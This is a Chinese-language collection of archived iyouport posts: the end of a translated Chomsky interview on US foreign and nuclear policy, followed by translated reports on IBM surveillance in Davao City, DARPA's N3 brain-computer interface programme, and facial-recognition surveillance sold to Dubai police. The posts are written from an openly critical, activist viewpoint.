古巴和伊朗是两个引人注目的例外。美国主要的商业利益集团（制药、能源、农业综合企业、飞机等）都急于打入古巴和伊朗市场，与国内企业建立关系。国家权力禁止任何这样的举动，凌驾于“人类主人”的偏狭利益之上，而以惩罚成功的反抗为超然目标。

关于这些规则的例外情况，还可以说很多，但那就跑太远了。

C.J.Polychroniou：贾迈勒·卡舒吉（*Jamal Khashoggi*）谋杀案报告的发布，几乎让所有人都感到失望，除了沙特。为什么拜登政府对沙特，尤其是王储穆罕默德·本·萨勒曼采取如此软弱的态度，促使《纽约时报》专栏作家尼古拉斯·克里斯托夫写道：“拜登……放走凶手”？

诺姆·乔姆斯基：不难猜测。谁愿意得罪这个在二战期间被美国国务院称为“战略力量的惊人源泉，也是世界历史上最伟大的物质奖品之一……可能是世界上对外投资领域最丰富的经济奖品”的亲密盟友和地区大国。此后，世界在许多方面发生了变化，但基本的道理依然存在。

- 如果您错过了《两个数字告诉你为什么特朗普不会制裁沙特》
- 《这就是他们给我讲述世界末日的方式》

C.J.Polychroniou：拜登曾承诺，如果当选，他将缩减特朗普的核武器开支，美国不会依靠核武器进行防御。我们是否有可能看到拜登政府下的美国核战略发生巨大转变，从而大大降低使用这些武器的可能性？

诺姆·乔姆斯基：仅仅从成本的角度来看，任何希望看到国家急需的国内项目的人都应该把这一目标放在议程的前列。但原因远不止于此。目前的核战略要求准备与中国和俄罗斯的战争 —— 意味着终极核战争。

我们还应该记住著名吹哨人丹尼尔·埃尔斯伯格的一个观点。核武器被

不断地使用，就像强盗用枪瞄准店主的脸说：“要钱还是要命”。 这个原则其实在政策上是有规定的，1995年克林顿的战略司令部（STRATCOM）发布的重要文件 “冷战后威慑要点”。该研究报告的结论是，核武器是不可或缺的，因为它们具有无可比拟的破坏力，即使不使用，“核武器总是给任何危机或冲突投下阴影”，使我们能够通过恐吓来达到目的。

该研究报告继续授权 “先发制人” 使用核武器，并为规划者提供了建议；告诉他们*不应该* “把自己塑造成过于充分理性和冷静的人”。相反，“我们所塑造的国家角色” 应该是 “如果美国的重要利益受到威胁，美国可能会变得非理性和报复性，一些因素可能会出现潜在的’失控’。”

理查德·尼克松的 ‘疯子理论”，但这次不是来自同伙的报告，而是来自核战略的设计者。

年初，联合国《禁止核武器条约》生效。核大国拒绝签署，仍然违反《不扩散核武器条约》规定的法律责任，即 采取 “有效措施” 消除核武器。这一立场并不是刻在石头上的，民众的积极性可以促使朝这个方向采取重大行动，这是生存的需要。

遗憾的是，这种文明程度似乎仍然超出了最强大的国家的范围，这些国家正朝着相反的方向前进，提升和加强终止地球上有组织的人类生活的手段。

就连盟国也加入了这场毁灭的竞赛。就在几天前，英国首相鲍里斯·约翰逊 “宣布将英国的核弹头库存增加40%。他声称 ……认识到 ’不断变化的安全环境’ ，将俄罗斯确定为英国的 ‘最严重威胁’ 。”

[反抗者]有很多工作要做。○

Noam Chomsky: Biden’s Foreign Policy Is Largely Indistinguishable From Trump’s

原文

走进暗杀之城 - iyouport

作恶者：中国在帮谁关于高堡奇人协助暴政的家伙们

【2019年6月20日存档】美国的监视巨头和中国的监视巨头在一座以暗杀闻名的城市抢夺协助暗杀的生意，他们是谁？

JAYPEE LAROSA 站在菲律宾棉兰老岛达沃市的一家网吧前，当时三名身着深色夹克的男子骑在摩托车上向他开火。那个夏天的傍晚，20岁的 Larosa 被杀了。

Larosa 于2008年7月17日被谋杀，是在达沃市进行的数百起法外杀戮事件之一，现在这座城市已有160万人，而现任菲律宾总统的杜特尔特曾担任该市市长。在全国各地发起臭名昭著的血腥“毒品战争”之前的几年，杜特尔特在地方一级就主持了类似的杀戮。根据人权观察组织2009年的一项调查，在担任市长期间，敢死队经常暗杀街头儿童、毒贩和小罪犯; 在某些情况下，研究人员发现了政府官员和警察共谋或直接参与的证据。

杜特尔特一直否认与这次杀戮运动有任何联系，但有时，他对暴力的支持几乎没有任何隐瞒。据人权组织和当地报纸称，作为市长，杜特尔特将公开宣布“罪犯”的名称或地点，其中一些人此后就会被杀害。虽然报道没有指责杜特尔特亲自参与，但菲律宾监察员办公室在2012年部分承认了警方在容忍杀人事件中所起的作用，调查发现21名达沃市警官渎职。

但这种潜在的侵犯人权行为的共谋并未阻止 **IBM** 向达沃市的执法部门提供监控技术。

2012年6月27日，即灾难性的人权观察报告发布三年后，IBM 发布了一份简短的新闻稿，宣布与达沃达成协议，升级其警察指挥中心，以“进一步加强该市的公共安全行动”。

IBM 的安装称为“智能运营中心”，承诺通过尖端的视频分析，多通道通信技术和支持 GPS 的巡逻车，增强当局实时监控居民的能力。不

到两个月后，菲律宾人权委员会发布了一项决议，谴责达沃当局在杀戮方面造成“有罪不罚的氛围”，并建议国家调查局对当地可能妨碍司法公正的行为进行独立调查。（杜特尔特最近谴责该委员会，质疑其动机，并建议废除该委员会）

2012年的 IBM 交易由 Rodrigo Duterte 的女儿 Sara Duterte 签署，她当时是达沃市的名义市长；在 Sara Duterte 的统治下，杀戮仍在继续。根据当地新闻报道，该系统已于2013年6月部署，Sara Duterte 告诉 Durian Post ，“警察指挥中心现在已经注入了 IBM 的 IOC 技术”，允许警察“从响应重大事件转向预测和预防性监视”。

虽然 The Intercept 和 Type 的调查未能在 IBM 关于该计划的公开公司文件中找到对达沃敢死队的任何提及，但2014年公司对该装置的概述清楚地表明 IBM 知道“毒品战”、预测性警务和犯罪抑制是达沃市安全部队的“优先领域”。

从2013年到2016年底，当一名达沃安全官员估计 IBM 计划正在停止使用时，与人权委员会密切合作的菲律宾人权活动家声称已经至少记录了达沃敢死队进行的**213**次法外处决。

达沃市官员没有回应有关 IBM 视频监控系统的问题、或其在运行期间在法外杀戮行动中的潜在作用。但去年在达沃市接受采访的三名警察和城市安全官员表示，该计划加强了警方的视频监控能力，他们认为这些能力在达沃对所谓的毒品战中被证明是有用的。人权报告已经表明，这场战争往往针对的是低级别的吸毒者和小贩，而不是主要的贩运者。

总部位于达沃的人权组织前发言人 Amado Picardal 称，IBM 的工作“很不道德”，因为在与达沃市达成协议之前的几年里，有些杀人事件已经被证实与杜特尔特的警察有关。

IBM 拒绝回应有关其在达沃市的人权记录的询问。IBM发言人爱德华·巴比尼（Edward Barbini）简要地指出，该公司“不再向达沃的智能运营中心提供技术”，但他拒绝透露 IBM 是否在此之后为该技术提供服务，并且 IBM 的公开文件提到该计划继续进行。

“菲律宾达沃市的150万公民将成为亚洲第一个受益于智能运营中心的地区公民，”2013年4月3日，IBM 披露，“新的预测性警务系统将监控关键风险指标，以便各机构能够在情况升级之前采取快速行动。”

自 IBM 计划逐步取消以来，菲律宾警方对尖端监控基础设施的兴趣

几乎没有减弱。国家当局正在寻求在一个名为“安全菲律宾”的项目以在全国范围内部署实时面部识别，并考虑了来自各种国际供应商的技术，包括中国的华为。

去年12月，当地一家报纸报道菲律宾已经获得了 200 亿比索的贷款，来自与中国公司的合作，该合作在达沃市和马尼拉地铁上安装数千台监控摄像机，据报道，该装置包括一个国家指挥中心和面部识别及车辆识别软件。在菲律宾电视台1月份的一次采访中，内政和地方政府副部长 Epimaco Densing III 表示，该项目的目标是发现嫌疑人的面孔并在犯罪发生前“预防犯罪”。

菲律宾活动家担心这种能力可能会助长侵犯人权行为。在过去三年中，该国部分地区一直处于临时戒严状态，杜特尔特的“毒品战”至少造成了5000人死亡这只是官方数字，人权组织称可能多达27,000人死亡（警察和人权组织的估计差异很大）。

被杀害的人包括反杜特尔特的活动家、民选官员和直言不讳的天主教神父。目前，杜特尔特正在开展修改宪法的行动，此举可以为行政部门提供更大的权力，以进一步压制政治对手。

2012年6月，市长 Sara Duterte 宣布了一项价值超过300万美元的合约，IBM 将改善其实时监控的能力。该公告承诺通过改进的通信和监控技术“扩大”达沃的公共安全和安全指挥中心（PSSCC）。

前 **IBM** 销售负责人萨亚吉·辛德（**Sayaji Shinde**）表示，他是支持指挥中心交易团队的一员，他回忆说他的团队渴望与杜特尔特政府合作。“Dutertes 会把注意力集中在公共部门的安全上，”Shinde 说，“而且我认为，对于我们来说，这是我们花时间和建议他们的驱动因素之一，因为我们看到他们真的很想确保城市变得更加安全。”

在该项目的初始阶段，IBM 将 Davao 的警用摄像机映射到地理信息系统，允许运营商快速访问感兴趣的任何位置附近的摄像机信号，Shinde 说。

根据 Shinde 的说法，这项推出还采用了多通道通信系统，允许警察、交通和国防人员相互通信。它还包括视频分析技术，可以根据物理属性自动标记摄像机上捕获的对象，如汽车和人。

根据2014年11月 IBM 向亚洲开发银行的演示文稿，标签包括对象的大小、速度、颜色、轨迹和方向，允许指挥中心操作员通过相机镜头梳理搜索嫌疑人的描述。（IBM 已经使用秘密访问纽约警察局的相机

镜头改进了这些类型的监视功能，如9月份的调查报告所揭示的）

“这可能是有史以来第一次在亚洲进行的视频分析监控，”Shinde 说，并指出该系统可以用于在犯罪前后跟踪嫌疑人的汽车。他指出，该软件“非常用户友好”，因此指挥中心的达沃安全官员可以很容易胜任该计划的对象搜索功能。

2014年 IBM 关于其 **Davao** 项目的演示文稿还提到了一种称为“面部捕获”的工具，它可以实时绘制面部图像并将其存储在追溯分析中。在最近的一次采访中，达沃市911中心负责人 Emmanuel Jaldon 声称这项功能已经计划好，但从未正式部署过。 Barbini 还声称 IBM“从未为该中心提供面部识别功能”。

但是，**2015年2月的 PSSCC** 宣传视频突出了指挥中心的监控能力以及“压制各种形式的犯罪行为”的能力，其中包括 **IBM** 的 **Face Capture** 界面，在达沃市的街道上收集行人的面部图像。看起来像 IBM Davao City 仪表板的照片，如上图所示，显示了当人们走过街道摄像机时，软件如何收集面部图像。

根据2014年 IBM 的演讲，该计划还帮助当局监控“人群行为”和“游荡”事件—这是杜特尔特在全国范围内所打击的罪行。

当被问及他对如何使用监控计划给予了什么保证时，Shinde 为 IBM 的销售做辩护，称其旨在“用于合法的公共安全活动”，例如应对火灾。

但是，在指挥中心、附近的911中心以及达沃市其他地方的采访中，熟悉 IBM 计划的当地执法官员告诉 theintercept，该技术帮助他们执行了杜特尔特有争议的反犯罪议程。

前菲律宾国家警察局局长 Manuel Gaerlan 表示，IBM 大幅提升的指挥中心在反毒品行动中起到了倍增作用。“它记录事件，因此更容易识别肇事者，如果你能看到更多区域，你可以派遣巡逻队回应。你可以在重点区域放置更多的摄像头“，他说。

911首席执行官 Jaldon 指出，IBM 的对象标记和搜索功能是该计划在反毒品行动中执法最有用的工具，特别是当它涉及“回溯”或事后调查事件时。

Davao 指挥中心的培训和研究官员 Antonio Boquiren 表示，视频功能帮助警方打击低级别的生活违规行为。“无论是犯罪行为、吸烟还

是乱窜，任何违反法令的行为都是犯罪行为，”他笑着说道，“吸烟的人抱怨说，’在我们点燃香烟之前你是怎么抓住我们的？’警察将指向CCTV。”

2009年人权观察报告中显示，达沃敢死队以小罪犯、帮派成员和街头儿童为目标。 **2015年宣传视频**采用的就是 **IBM** 的技术，显示当局积极追捕低级别的“犯罪”—— 就如中国用人脸识别抓捕闯红灯。

一名前菲律宾陆军安全顾问与菲律宾情报部门关系密切，他因害怕报复而要求匿名，他称 IBM 的计划不仅协助警方监视犯罪活动，而且还收集有关达沃政治反对派活动的情报。根据他与达沃市执法官员的交往，他说他不能排除数据反馈涉及法外杀戮。

即使 IBM 的计划仅用于协助警方对犯罪和火灾的合法反应，正如 Shinde 所说的那样，监视研究人员同样指出，它很可能通过帮助警方捕获或监控日常犯罪嫌疑人来实现法外杀戮。政府长期以来一直否认存在警察敢死队，但在杜特尔特的 Davao，法外杀害的受害者有时是在被警方释放后立即被瞄准的，警方经常在有计划的袭击中杀害嫌犯。

例如，2015年10月，杜特尔特在一条名为杜威大道的街道上警告一群毒贩他们有48小时离开这座城市否则就被杀死。警告发出后的第二天，警方致命地射杀了一名38岁的社区领袖 Armanuel Atienza，警方声称他拒捕。这种说法是可疑的。根据2016年参议院的证词，Edgar Matobato 据称在1988年至2013年期间曾担任敢死队成员，他说，达沃警方在杀害他们的目标人后定期向嫌疑人栽赃枪支和毒品。

例如，IBM的对象标记功能可能被用来根据他们的身体属性定位嫌疑人，就是成为法外暴力目标的人，马萨诸塞州美国公民自由联盟的技术专家 Kade Crockford 解释道，他的研究重点是警察监视。“也许该系统确定了三到四个人，然后执法部门被派去找那些人；也许那个人没有被执法部门当场处决，但警方质疑他和他的同伙; 现在，这些人进入了死亡名单。“

来自PSSCC部门主管的社交媒体帖子存档在当地博客上，表明该中心使用IBM的技术，可以有效地逮捕“涉嫌犯罪的人”。

据 Crockford 称，IBM 的“面部捕获”功能如果得到部署，可以帮助当局近乎实时地找到任何人—— 在观察名单上的居民。

根据当地新闻报道，达沃指挥中心确实在 2014 年之前已经建立了面

部识别功能，尽管该技术未被 IBM 确认。根据2009年的人权观察报告，众所周知，达沃的敢死队部分依赖于其监视名单上的目标照片。

IBM 公开声称“致力于高标准的企业责任”，并考虑其运营所在社区的“社会问题”。IBM 在2012年至2016年期间的证券交易委员会文件和年度报告中包含了对达沃项目的一些分散的提及，但是，没有讨论任何潜在的人权问题或公司采取的任何预防措施。 IBM 的企业社会责任报告都没有提及它与 Duteo 的监视合作。

尽管人权观察和当地报纸都进行了报道，但IBM发言人 Shinde 依然声称，针对杜特尔特政权的人权指控“在那些日子里根本就没有上新闻。

然而，当 IBM 在2012年同意与杜特尔特家族政府合作时，他的政权对达沃市法外处决的支持已经确立; 早在2009年，他就将罪犯描述为“暗杀的合法目标。”2012年，IBM 与 Sara Duterte 签署协议的当年，当地人权活动人士声称已经记录了**61**起死亡法外杀人事件。

根据 IBM 文件和执法官员的说法，菲律宾国家警察也从监控指挥中心收取信息。在 IBM 签署协议之前，菲律宾国家警察也因未能调查杀人事件而受到批评，自杜特尔特成为总统以来，监视技术在致命的全国“毒品战”中发挥了重要作用。

当被问及监控计划对人权的影响时，熟悉 IBM 系统的菲律宾执法官员对此表示担忧：“如果警察做出侵犯人权的事，谁会在乎？”一名官员说。

IBM 帮助在达沃市建设的城市监控中心模型已成为 Duterte 政府的灵感来源。“在未来几年内，总统将把我们的系统复制到各地，”Boquiren 去年1月表示。“每当他去某个地方，他都会不断地告诉当地领导人，去达沃市并复制 PSSCC。”

Jaldon 和 Boquiren 说，国家当局—包括杜特尔特本人—非常有兴趣扩大全国各地的监控中心，并升级他们的监视视频功能，包括实时面部识别，这可以将嫌疑人的面孔与CCTV上的面部图像进行比较。

2018年**2**月，一份当地新闻报道援引匿名消息来源，表示杜特尔特正在寻求与中国电信公司华为建立伙伴关系，以提供面部识别技术，这是 Boquiren 当时证实的一项发展。

然后在**2018**年**12**月，菲律宾立法机构获悉，另一家中国公司，即国

有的中国国际电信建设总公司，向菲律宾内政和地方政府贷款**200**亿比索，在达沃市安装了**12,000**台监控摄像机。根据菲律宾之星的一份报告，“菲律宾安全”基础设施将包括一个国家指挥中心和备用数据中心，配备面部识别和车辆识别软件。在参议院听证会上，参议员 Ralph Recto 对中国参与该项目提出了担忧，国家信息和通信技术部的官员作证说，他们没有就这笔交易被征询意见。

其他几家中国公司最初由中国大使馆提出，包括华为在内。但是，根据 **Recto** 提出的**2019年1月参议院决议**，华为计划成为“主要设备供应商”。

根据 Boquiren 的说法，华为承诺其面部识别产品可以捕捉某人“即使只有侧脸“、并且可以存储多达一百万张面孔”。在2018年11月的一次电话会议上，Boquiren 重申，未指明的警察当局正在研究华为技术，但拒绝讨论任何其他细节，理由是“缺乏技术专长”。

由于去年11月习近平访问期间达成的协议，菲律宾与中国公司的潜在合作反映了杜特尔特对中国的支持。特别是华为，据称与中国政府有着如此密切的关系，因为担心中国情报人员的后门入侵，它已被禁止与美国政府签订合同。

反杜特尔特活动人士担心，这一计划巩固的监视能力可能会进一步使杜特尔特的部队消除任何政治阻力。根据权利组织的前发言人 Picardal 的说法，一个综合的国家实时面部识别技术系统将确保实现杜特尔特的“完全专制/独裁统治和压制异议的计划”。

自从掌权以来，杜特尔特政府一直试图关闭或减轻关键的新闻报道，包括1月份的在线新闻网站拉普勒，有众多政治活动人士被暗杀。与此同时，臭名昭著的“毒品战”已造成数千人死亡。 “这不仅仅是造成数千人死亡，而且导致一个杀戮组织的生成，很容易扩大化。毒品战正在预兆着更大规模杀戮的未来。“

INSIDE THE VIDEO SURVEILLANCE PROGRAM IBM BUILT FOR PHILIPPINE STRONGMAN RODRIGO DUTERTE. This type of technology will weaken democracy and will advance authoritarian rule all over the country

原文

超级战士：DARPA 想要制造精神控制的战争武器 - iyouport

关于高堡奇人

【2019年11月1日存档】这次不是中国的基因编辑技术，而是后天改造普通人类成为超人的实验。

去年，美国国防高级研究计划局（DARPA）宣布，正在寻求“无创手段”“无需手术即可实现高水平的大脑系统通信”。

该机构称，这些技术将“允许与特定神经元或神经元组的精确、高质量的连接”。

该机构希望制造精神控制类的战争武器，正如他们（含糊地）在最近的两份新闻稿中解释过的那样。

为实现这一目标，DARPA最近成立了一个名为 Next-Generation Nonsurgical Neurotechnology（N3）的计划。

DARPA 希望士兵能够用自己的意识控制机器

根据2019年5月20日发布的新闻稿，该机构已向六家公司提供资金支持N3：

新闻稿说：巴特尔纪念研究所、卡内基梅隆大学、约翰霍普金斯大学应用物理实验室、帕洛阿尔托研究中心（PARC）、莱斯大学、和 Teledyne Scientific，领导多学科团队开发高分辨率，双向脑机接口……

……这些可穿戴接口最终可以实现多样化的应用，例如控制活动网络防御系统和大群的无人机，或者在执行复杂任务期间与计算机系统合作以进行多任务处理。

去年宣布这项为期四年的计划时，DARPA在一份新闻稿中首先提到了脑机界面的所有积极因素：

他们称：大脑系统通信的最新研究采用了侵入性技术，可以与特定神经元或神经元组进行精确的、高质量的连接，以帮助患者控制假肢等活动。

听起来很高大上吗？再继续阅读您就不会这么感觉了：

他们说："但是，这些技术并不适合身体健全的人。 于是 DARPA 现在寻求在其新计划 N3 中实现高水平的大脑系统通信而无需手术。"

如果您还没有发现令人不寒而栗，请继续阅读：

"DARPA 创建了N3，以寻求通向安全、便携式神经接口系统的途径，该系统能够同时对大脑中的多个点进行读取和写入"，这是 Al Emondi 博士说的，他是 DARPA 生物技术办公室（BTO）的项目经理。

他还说，"高分辨率、非手术神经技术一直难以捉摸，但由于生物医学工程、神经科学、合成生物学、和纳米技术的最新进展，我们现在相信这个目标是可以实现的。"

他们希望这项技术能够在未来几年内做好准备。

DARPA 希望建立与植入电极的性能相匹配但不进行任何手术的脑机接口

他们描述说：通过简单地戴上头盔或头戴式耳机，士兵可以在没有触摸键盘的情况下，用意识命令控制中心；用意识直观地操作无人机；甚至用知觉入侵安全网络。

根据 IEEE Spectrum 的一份报告，"DARPA 发言人拒绝就资金数额发表评论。但是，其中两个中标团队报告的拨款金额令人瞩目，分别为**1948**万美元和**1800**万美元。"

该报告还提供了关于该计划的一些额外细节：

具体来说，该计划正在寻找能够在50毫秒往返中读取和写入脑细胞的技术，并且能够以1立方毫米的分辨率（包含数千个神经元的空间）与大脑中的至少16个位置进行交互……

…… Emondi 说，为期四年的N3计划将分为三个阶段。在目前的第1阶段，团队有一年的时间来展示通过头骨读取（记录）和写入（刺激）脑组织的能力。

…… 成功的团队将进入第2阶段。在随后的18个月中，这些团队将开发工作设备并对活体动物进行测试。任何成功的团队都将进入第3阶段，也就是在人体上进行测试。 *(source)*

这种脑机接口技术真正的用途是什么？

DARPA 关于 N3 的新闻稿相当模糊，该机构的内部运作很隐秘。

2018年11月，大西洋月刊公布了一份关于 DARPA 的令人瞩目的报告。

以下是一些令人不安的摘录，强烈建议您完整阅读该报告。

DARPA 几十年来一直梦想着将人类和机器融合在一起。几年前，当精神控制武器的前景成为该机构的公关责任时，官员们就打开了独特的聪明才智……

……他们重新阐述了神经科学研究的既定目的，表面上关注的是愈合创伤和治疗疾病的狭隘目标。

……机构官员称，这项工作不是武器或战争。这是关于治疗和保健。

……但是，即使这种说法完全属实，这种变化也会产生广泛的伦理、社会和形而上学的争议。几十年后，神经科技可能会导致社会混乱，使智能手机和互联网看起来像历史池塘中的温柔涟漪。

… 然而，关于健康目标的声称不完全是真的。该机构一直有更大的使命，在2015年的一次演讲中，一位项目经理 —— 硅谷招聘人员 —— 描述了这一使命："让人们摆脱健康身体的局限"。

……"我们的使命是让人类成为一种不同于普通人类的东西，超越我们出生时的能力，超越我们能够有机地获得的能力"。

…… 对普通人类的改造成为该机构的优先事项："没有生理或认知限制的士兵将是未来生存和运营优势的关键"，Michael Goldblatt 说，他在1999年加入 DARPA。

…… 正如 Annie Jacobsen 在她2015年出版的"The Pentagon's Brain"一书中所描述的那样，这个时代经常被描绘成疯狂科学家的领地，创造那种可以7/24工作、长达一周不睡觉的士兵。

…… Jacobsen 指出，darpa 的神经技术研究，包括上肢假肢和脑机

接口，并不像他们声称的那样：这些假肢的主要目标很可能是给机器人的，而不是人类，更强大的胳膊和手。”……

DARPA 几十年来一直试图用机器人技术创造超级战士，正如 Daisy Luther 在机器人启示录中所说的：“我们正在召唤人工智能恶魔”：

多年来，DARPA 已投入数十亿美元用于地面部队的外骨骼护具。这种可穿戴的机器系统使士兵能够携带更重的物体，跑得更快，甚至跨越大障碍物。想象一下，一个超级大国拥有这样的士兵的结果是什么？……

还记得中国的基因改造婴儿实验被怀疑为什么吗？—— 超级战士的开端。

然而，值得注意的是，DARPA 并不是唯一一个专注于做脑机融合的实体。有多家公司和神经工程师都在做这种研究 —— 包括 Facebook 和 Elon Musk 的 Neuralink。○

DARPA Wants To Create Mind-Controlled Weapons Of War

原文

还是高堡奇人：中美 1984 在海湾的黑手 - iyouport

作恶者：中国在帮谁关于高堡奇人协助暴政的家伙们

【2019年10月18日存档】美国和中国的技术寡头又在其他国家竞争作恶。这次不同的是，美国寡头正越来越难以在自家实现1984；而中国寡头，对内对外“一视同仁”……

旧金山已经禁止了警察使用面部识别技术，而美国的其他地区也在努力希望能做同样的事；

亚马逊因向美国政府当局出售 Rekognition系统而面临压力；亚历山大·奥卡西奥·科尔特斯（Alexandria Ocasio-Cortez）表示担心，人脸识别可以作为一种社会控制形式……

以上都没有解决这一问题本身。

即使这项技术在美国受到了看起来更严格的审查，但是，⚠美国巨头 **IBM**、中国巨头海康威视和华为等科技公司，正竞相在阿联酋推广生物识别监控系统，在那里的公民可没得选。

- 《“公民需要组织起来以摆脱中美高堡奇人的世界”》
- 《华为之战的虚伪：技术的巴尔干化》
- 《走进暗杀之城：中美巨头如何抢夺协助暗杀的生意》

人权组织和国际媒体早已有报道，阿联酋使用手机骇客软件监视数百名持不同政见者、记者和其他当局想要的人，并在监控技术方面投入了巨资。

“这绝对是可怕的，”数字权利技术专 Sarah Aoun 说，他与包括中东在内的人权活动家合作，共同致力于保护隐私和安全。

“在像迪拜这样没有太多言论自由的地方，人们因为自己所说的话而被判入狱，当你引入人工智能时，它只会被权力系统用来加强对全部人口的控制。他们正在将这项技术武器化。”

“They are weaponizing this technology.”

迪拜警方已开始推出一项雄心勃勃的计划，名为 Oyoon，阿拉伯语中的“眼睛”一词 —— 实施人工智能驱动的面部识别和分析，全国覆盖。

警方表示，该计划“将减少犯罪和交通事故”。

对数百个政府采购和监管文件的分析明确了迪拜高科技警务目标的范围，表明警方已经寻求视频分析平台，以记录和分析人们的面孔、声音、行为和汽车行踪，就如进行谷歌搜索那么容易。

对数十种公司营销材料和官员采访的回顾显示，⚠全球科技巨头都在渴望向警方提供他们正在寻求的**1984**技术。

⚠世界各地的警察部门和安全部队都在拥抱面部识别技术，从中国和厄瓜多尔到美国和英国。

- 《禁止面部识别可以做到什么、不能做到什么》

生物识别监控系统将数百万人的面孔、声音和个人特征席卷到世界各国的政府数据库中，几乎没有透明度或监管监督。

这种现象引发了民权倡导者的强烈抗议，他们认为该技术在公共场所的不受限使用对个人隐私构成了严重威胁，并可能加剧警察部队权力滥用的虐待行为，从种族歧视到任意拘留。

在最近由政府组织的迪拜人工智能会议上，⚠包括华为在内的科技公司的代表、中国的海康威视和美国寡头 **IBM** 都表示，他们认为阿联酋和波斯湾的其他国家是一个令人兴奋的市场，他们可以销售他们的视频分析平台，他们说这些平台可以做任何事，从分析群体的行为、到根据他们的脸部自动将特定人列入黑名单。

波斯湾的其他政府，如巴林和沙特阿拉伯，也在使用手机骇客和其他高科技监视措施来监视和恐吓持不同政见者，甚至包括流亡人士。

- 《流亡也没有安全》
- 《当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》

与此同时，阿联酋已投入了大笔资金发展其监控能力。

加州大学伯克利分校的博士后研究员、公民实验室的 Bill Marczak 说："他们不仅针对在阿联酋的人，而且他们还利用境外的间谍软件在其他国家开展业务。"*A still from a demonstration video at the AI conference in Dubai.*

警方几乎没有谈到 Oyoon 计划中使用的特定技术类型。

BuzzFeed 新闻审查了采购记录，其中显示警方早在2016年中期就开始寻求面部识别和语音识别监视技术，包括 Vectra M3 等产品，该产品旨在创建一个人脸的3D模型，以及 NeoFace Reveal，这是日本公司 NEC 制作的一款软件，它将照片和犯罪现场视频中的面孔与预先存在的图像数据库相匹配。

警方还寻求一项名为 Batvox 的语音识别程序，⚠该程序被其制造商美国马萨诸塞州的 **Nuance** 公司描述为"新的公共安全武器"。

根据当地新闻报道和熟悉该计划的人士称，Oyoon 计划于去年1月公布，旨在将迪拜政府部门使用的数千个摄像机视频输入到中央指挥中心。

指挥中心使用人工智能和人脸识别技术来识别所谓的安全威胁。

"[Oyoon]安全系统采用人工智能全天候监视迪拜的每一个角落！"在阿联酋政府顾问提供的阿联酋人工智能战略演示中，这句话写在幻灯片上。

迪拜警方吹嘘该计划已经导致300多人被捕。

研究表明种族偏见已被纳入领先的面部识别平台，引发了对嫌疑人错误识别的质疑。

在阿联酋和其他地方，没有对这些平台进行过任何独立审计，无法确保准确性或免于偏见。

"人工智能在闭路电视系统中的应用打开了误用的潘多拉盒子，"Sam Samuels 说，他是迪拜 CCTV 系统的前警官和顾问。"在一天结束时，人类必须验证系统生成的信息。"

在中国，面部识别的使用一直存在争议。中国政府因对少数民族的大规模监视而受到国际上的抨击。

海康威视是全球最大的监控产品供应商，已经提供了数千台监视摄像

机 —— 从英国伦敦到中国上海。

- 详见《侵入英国》
- 《是谁在中国政府的监视社会计划中大发横财？》
- 《数字威权主义的兴起: 灾年之畔》

但在迪拜举行的人工智能大会上，海康威视在中东的高管 Robert Wang 并没有提及该公司在新疆都干了什么。

相反，他将中国的监视和维稳方法作为一个“榜样”呈现给阿联酋政府官员和企业高管。

> “The challenge for us now is not that we no longer have enough video. The problem is that we have too many videos.”

这位海康威视的高管说，中国是世界上最安全的国家之一，并称*人均警察*人数相对较少。

他说，原因是该国国内维稳机构在全国各地安装了**2.5**亿台监控摄像机。

“我们现在面临的挑战并不是我们不再拥有足够的视频。而是，我们有太多的视频。”

BuzzFeed News 采访了几位关注阿联酋的曾经被拘留的人、囚犯和人权倡导者。他们都表示，在迪拜广泛使用人脸识别可能会导致滥用，并可能严重损害隐私权。

“如果以正确的方式使用，这是一项很好的技术，” Khaled Ahmad 说，他是一名计算机工程师、囚犯权利活动家，也是阿联酋的前被拘留者。

“但是，在阿联酋政府的帮助下，人们仅仅因为在**Facebook**上发布信息谈论自由和人权就被捕。如果用这种技术来对付犯罪分子，这是一项很好的技术，但如果用它来捂住人们的嘴巴则完全相反。”

据迪拜警方称，Oyoon 项目正在与包括国家安全局在内的多个阿联酋政府部门合作推出。

采购记录显示，⚠警方还寻求程序来帮助进行视频分析、从计算机中提取已删除的数据、识别车牌、以及入侵手机。

但视频分析的真正力量不在于这些功能中的任何一个，而是在配置文件中，当许多数据源组合在一起时，它就能使执法部门建立关于目标个人的全部生活图景。

截至发布时，迪拜警方没有回复对 Oyoon 计划的多次评论请求。

海康威视和华为拒绝对本文中的陈述发表评论。

IBM的一位发言人表示，该公司拥有“强大的流程，以确保潜在客户参与符合我们的价值观，以及美国和当地法律。”*Megha Rajagopalan / BuzzFeed News*

面部识别已经存在了十多年。其最早的已知执法用途之一是2001年在佛罗里达州坦帕市。

该技术仍然存在问题，并且面临着从区分非白人面孔到其整体准确性的能力方面的问题，⚠但执法机构现在正在广泛使用该技术以新的方式建立个人档案。

文件存储成本在过去几年中变得非常便宜，使当局更容易存储视频。

Os Keyes 说，并且具有可以调整以适应人们外观变化的算法 —— 也就是说普通的化妆和局部遮盖是无效的，以及可以轻松逐帧分析视频的新技术 ……使面部识别和其他生物识别监控程序更便宜、更有效。这位华盛顿大学的博士生正在研究面部识别的历史。

- 《遮住一半脸没有用：“面部识别”升级版诞生》
- 《让面部识别失效的思考方式》
- 《如何对抗面部识别技术？》

复杂的计算机程序快速搜索和分析数千小时的摄像机镜头的速度正在高速提升。

例如，购物中心的相机可以随着时间的推移捕捉到您脸部的许多不同角度，使计算机能够从不同角度模拟您的头部外观，并使警察更容易发现您。

“他们提出的是算法，而不是比较你的两张照片；他们拍摄你的一系列照片，并用这些照片来构建你头部**3D**模型，然后它们可以旋转到一定的角度”，Keyes 说。

现在，视频分析程序可以搜索人物特征组合的素材。

BriefCam 的一名官员 ——这家以色列公司由日本佳能公司拥有，并与惠普企业合作 —— 在迪拜举行的人工智能大会上展示了这一点，并展示了一个带有搜索栏的屏幕，上面是数十名在商场里穿着中长袖红色连衣裙的女性。

BriefCam 官员说，BriefCam 很高兴有机会与阿联酋安全机构合作。

BriefCam 的首席营销官 Stephanie Weagle 在一份声明中表示，生物识别技术具有“重大的公共安全利益”，包括识别嫌疑人和寻找失踪儿童。

⚠中国的华为展示了一个名为 FusionInsight 的数据分析平台，该平台可以快速梳理数千小时的面部和车牌镜头。

一位公司官员表示，该平台有能力将个人列入黑名单。当被问到这个问题时，华为拒绝发表评论。

⚠美国寡头微软也展示了一个视频分析平台，声称可以检测相机上人们的面部、年龄、甚至情绪状态，以及人群规模。

- 《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》

